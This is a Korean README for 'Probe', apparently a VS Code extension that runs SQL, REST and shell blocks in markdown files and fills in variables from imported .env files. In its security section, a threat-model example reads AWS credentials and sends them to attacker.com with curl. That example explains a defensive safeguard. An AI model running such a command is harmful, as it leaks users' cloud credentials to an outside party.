Probe
각 코드 블럭 위에 기능
요구 사항
셸 블럭
안전장치셸 블럭은 임의의 명령을 실행합니다.
변수 치환문서가 자기 머리에서 변수 파일을 불러오고, 블럭을 실행하기 직전에
토큰 규칙
러너별 적용
rest 블럭의
|
| 상태 | 표시 |
|---|---|
REST Client 정의에 있음 (@base = 값, # @name login, # @prompt pw, 환경 설정) |
없음 — hover가 어디서 찾았는지 알려줍니다 |
@import한 Probe 키에만 있음 |
Warning — 치환될 거라 기대하기 쉬운 자리입니다 |
| 아무 곳에도 없음 | Error — .http에서 REST Client가 내는 것과 같은 자리 |
{{$guid}} 등 내장 변수 |
없음 — 참조 정규식이 \w로 시작하므로 애초에 대상이 아닙니다 |
@BASE_URL = https://httpbin.org
GET {{BASE_URL}}/get?tenant={{TENANT}}&sid={{SESSION_ID}}
# ✓ 위에서 정의 ~~~~~~~~ Warning ~~~~~~~~~~~~ Error
토큰에 마우스를 올리면 종류와 정의 위치를 함께 보여줍니다.
판정 규칙(참조·파일 변수·요청 이름·prompt 정규식)은 REST Client 0.25.1 번들에서 그대로 옮겼습니다. 정의는 REST Client와 마찬가지로 문서 전체에서 모읍니다 — 실행 시 REST Client도 .probe 문서 전체를 보기 때문에(processRawRequest → getCurrentTextDocument()), 다른 블럭에 적은 @base = 값이 그대로 통합니다.
두 가지 한계가 있습니다.
- REST Client가 현재 선택한 환경은 자기 내부 저장소에만 있어 읽을 수 없습니다. 그래서
rest-client.environmentVariables의 모든 환경 키를 합쳐서 봅니다 — 다른 환경의 키를 미정의로 잘못 표시하는 오탐을 피하는 쪽입니다. - 요청 변수가 아직 안 보내진 상태는 알 수 없어 표시하지 않습니다(REST Client는 Info를 냅니다).
REST Client 규칙이 바뀌어 오탐이 생기면 probe.rest.validateVariables를 false로 끄세요. hover 안내는 그대로 남습니다.
rest 블럭에서 .env 값을 쓰려면 REST Client 쪽 문법인 {{$dotenv KEY}}를 씁니다. 다만 REST Client는 문서 폴더부터 위로 올라가며 .env 라는 이름의 파일만 찾으므로, Probe의 @import 경로(임의 파일명·여러 개 병합)와 자동으로 이어지지는 않습니다.
미정의 변수는 실행을 막습니다
{{KEY}} 중 하나라도 import한 파일에 없으면 실행하지 않습니다. WHERE id = {{USER_ID}}가 WHERE id = 로 나가 전체 테이블을 대상으로 하는 사고를 막기 위한 것이며, 여기서는 타협하지 않습니다. 부분 치환은 없습니다.
KEY=로 정의한 빈 문자열은 미정의가 아닙니다 — 치환되고 실행됩니다. 키를 미정의로 되돌리는 문법은 없습니다.- 문서에
{{}}토큰이 아예 없으면 import가 깨져 있어도 실행을 막지 않습니다(경고만).
에디터에는 진단으로 바로 표시됩니다 — 실행할 때만 알려주면 문서를 쓰는 동안 오타를 모릅니다.
| 상황 | 표시 | 실행 |
|---|---|---|
{{UNKNOWN}} — import에 없는 키 |
토큰 위치에 Error | 차단 |
@import 대상 파일 없음 |
@import 줄에 Warning |
토큰이 있으면 차단 |
| import 경로가 워크스페이스 밖 | @import 줄에 Warning |
허용 |
| 같은 파일 중복 import | @import 줄에 Info |
허용 |
.env의 닫히지 않은 따옴표 |
.env 해당 줄에 Error |
그 키는 미정의 |
.env의 해석 불가한 줄 |
.env 해당 줄에 Warning |
나머지 키로 진행 |
rest 블럭에서 import한 키와 이름이 겹침 |
토큰 위치에 Warning | 허용 (치환하지 않음) |
rest 블럭에서 REST Client 정의도 없음 |
토큰 위치에 Error | 허용 (REST Client가 빈 값으로 보냄) |
import한 파일을 저장하면 진단이 바로 갱신됩니다.
로드 상태 확인
@import 줄 위 CodeLens는 전환기가 아니라 로드 상태 표시기입니다.
┌ db.env · 변수 4개
@import ./db.env
- 클릭하면 이 파일이 정한 값과, 뒤 파일에 가려진 값을 보여줍니다. 여러 파일을 겹쳐 쌓을 때 "지금 실제로 무슨 값이 쓰이나"가 가장 헷갈리는 지점입니다.
- 파일이 없으면
⚠ db.env 없음으로 바뀝니다. Probe: Show Resolved Variables— 병합된 최종 맵 전체와 각 키의 출처 파일을 봅니다.
dotenv 방언
파서를 직접 씁니다(src/core/dotenv.ts). 지원 범위는 아래가 전부입니다.
| 규칙 | 동작 |
|---|---|
KEY=value |
기본. 값 앞뒤 공백은 trim |
export KEY=value |
export 접두 허용 |
# comment |
전체 줄 주석. 빈 줄 무시 |
KEY="a b" |
큰따옴표: 따옴표 제거, \n·\t·\"·\\ 해석 |
KEY='a b' |
작은따옴표: 따옴표 제거, 이스케이프 해석 안 함 |
KEY= |
빈 문자열로 정의됨 (미정의와 구분) |
값 안의 ${OTHER} |
보간하지 않음. 리터럴 유지 |
| 중복 키 | 나중 것이 이김 |
- 따옴표 없는 값의 행중 주석(
KEY=value # comment)은 주석이 아닙니다 —PASSWORD=ab#cd같은 값이 조용히 잘리는 게 더 위험합니다. 주석을 붙이려면 값을 따옴표로 감싸세요. - 여러 줄 값: 값이 따옴표로 시작하고 같은 줄에서 닫히지 않으면 닫는 따옴표가 나오는 줄까지 이어 읽습니다.
닫는 따옴표 없이 파일이 끝나면 그 키를 정의하지 않고 시작 줄에 Error를 냅니다. 나머지를 조용히 값으로 삼키지 않습니다.PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- MIIEpAIBAAKCAQEA... -----END RSA PRIVATE KEY-----"
신뢰와 시크릿
@import는 임의 파일을 읽어 셸 명령에 삽입하는 경로입니다. 악의적 저장소라면 @import ~/.aws/credentials 후 curl attacker.com -d '{{...}}' 같은 유출이 성립합니다. probe.shell.path를 게이팅하는 것과 같은 위협 모델이므로 같은 장치에 맡깁니다.
- 신뢰하지 않은 폴더에서는
@import를 수행하지 않습니다(파일을 읽지 않습니다).{{}}가 든 블럭은 실행이 차단됩니다. - 확인 창과 출력 창 미리보기에는 치환된 최종 텍스트를 보여줍니다 — 실행 전에 값이 맞는지 확인할 수 있어야 합니다. 단 키 이름이
TOKEN/SECRET/PASSWORD/PWD/API_KEY/PRIVATE_KEY류면 값을••••••••로 가립니다(probe.variables.maskSecretLike). .env가.gitignore에 있는지 확인하세요. Probe는 값을SecretStorage로 옮기지 않습니다 — 파일이 원본입니다.
설정
Cmd+, → probe.mysql 검색, 또는 설정 JSON에 직접 입력합니다.
| 설정 | 기본값 | 설명 |
|------|--------|------|
| probe.mysql.path | mysql | mysql 실행 파일 경로 |
| probe.mysql.host | localhost | 호스트 (-h) |
| probe.mysql.user | root | 사용자 (-u) |
| probe.mysql.database | (빈 값) | 사용할 데이터베이스 | | `probe.shell.path` | (빈 값) | 셸 실행 파일. 비우면 $SHELL → /bin/bash |
| probe.shell.loginShell | true | 로그인 셸(-l)로 실행해 프로필(PATH·alias)을 읽음 |
| probe.shell.cwd | `` (빈 값) | 작업 디렉터리. ${workspaceFolder}, ${fileDirname}, ~ 사용 가능 |
| probe.shell.confirmBeforeRun | false | ```sh 블럭 실행 전 확인 창 |
| probe.variables.maskSecretLike | true | 키 이름이 TOKEN/SECRET/PASSWORD 등일 때 미리보기에서 값을 가림 |
| probe.rest.validateVariables | true | ```rest 블럭의 {{변수}}가 REST Client 정의에 있는지 검사 |
비밀번호는 설정이 아니라 커맨드 팔레트(Cmd+Shift+P)로 입력합니다.
Probe: Set MySQL Password— 현재 host/user/database 조합에 대한 비밀번호를 입력받아 VS Code의SecretStorage(OS 키체인)에 저장합니다.Probe: Clear MySQL Password— 저장된 비밀번호를 지웁니다.
보안:
probe.mysql.password설정은 더 이상 쓰지 않습니다. 과거에 설정해둔 값이 남아 있다면 다음 실행 때 자동으로 SecretStorage로 옮겨지고 설정에서 지워집니다. 직접.vscode/settings.json에 비밀번호를 적어두지 마세요 — 저장소에 커밋될 수 있습니다.
사용법
- 아무
.probe파일을 만든다 (예:queries.probe). - 마크다운처럼 설명과 코드 블럭을 적는다.
- 실행할
```sql/```rest/```sh블럭 위 버튼을 누르거나, 블럭 안에서Cmd+Enter.
examples/sample.probe에 예시가 들어 있습니다.
개발
npm install # 의존성 설치
npm run compile # TypeScript(→ out/) 컴파일
npm run watch # 변경 감지 컴파일
npm test # 단위 테스트 (bun)
VS Code에서 이 폴더를 열고 F5 → 확장이 로드된 새 창(Extension Development Host)이 뜨고 examples/ 폴더가 열립니다. 소스를 고치면 새 창에서 Cmd+R로 리로드합니다.
EDH가 여는 폴더를
examples/로 둔 이유, F5가 동작하지 않을 때의 원인 등은 TROUBLESHOOTING.md에 정리해두었습니다.
- 언어: TypeScript 7 (
tsc로 빌드/타입체크) - 포매팅: Prettier (세미콜론 없음, 작은따옴표, 저장 시 자동 적용)
- 테스트: bun (
bun test)
구조
src/
├── extension.ts # 러너 등록 + 명령/CodeLens (dispatch)
├── core/
│ ├── blocks.ts # 마크다운 코드 블럭 파싱 (순수 로직)
│ ├── outline.ts # 제목·블럭 심볼 트리 (순수 로직)
│ ├── dotenv.ts # .env 파싱 (순수 로직)
│ ├── imports.ts # @import 수집 + 경로 해석 (순수 로직)
│ ├── variables.ts # {{KEY}} 스캔·치환·병합 (순수 로직)
│ └── registry.ts # Runner 타입 + register/getRunner
├── variables/ # 변수 기능의 vscode 계층 (파일 읽기·진단·CodeLens)
└── runners/
├── mysql/ # ```sql 실행
├── rest/ # ```rest 실행 (+ tokens/definitions/hover = {{}} 검사·안내)
└── shell/ # ```sh 실행
새 러너 추가하기
src/runners/<name>/index.ts에서Runner를 exportexport const fooRunner: Runner = { lang: 'foo', aliases: ['foo2'], // 선택: 같은 러너를 부르는 다른 펜스 표기 label: '▶ Run', // payload.text = {{KEY}} 치환이 끝난 실행용 텍스트 // payload.display = 사람에게 보여줄 텍스트 (시크릿 마스킹 적용) run: (editor, range, payload) => { /* ... */ }, }substituteVariables: false를 주면 치환을 건너뛰고 원문이 그대로 넘어옵니다(rest가 그렇습니다).src/extension.ts에 두 줄 추가import { fooRunner } from './runners/foo' register(fooRunner)test/runners/<name>.test.ts로 테스트 추가
러너가 커지면 그 폴더 안에서 client.ts, config.ts 등으로 나누면 됩니다.
라이선스
MIT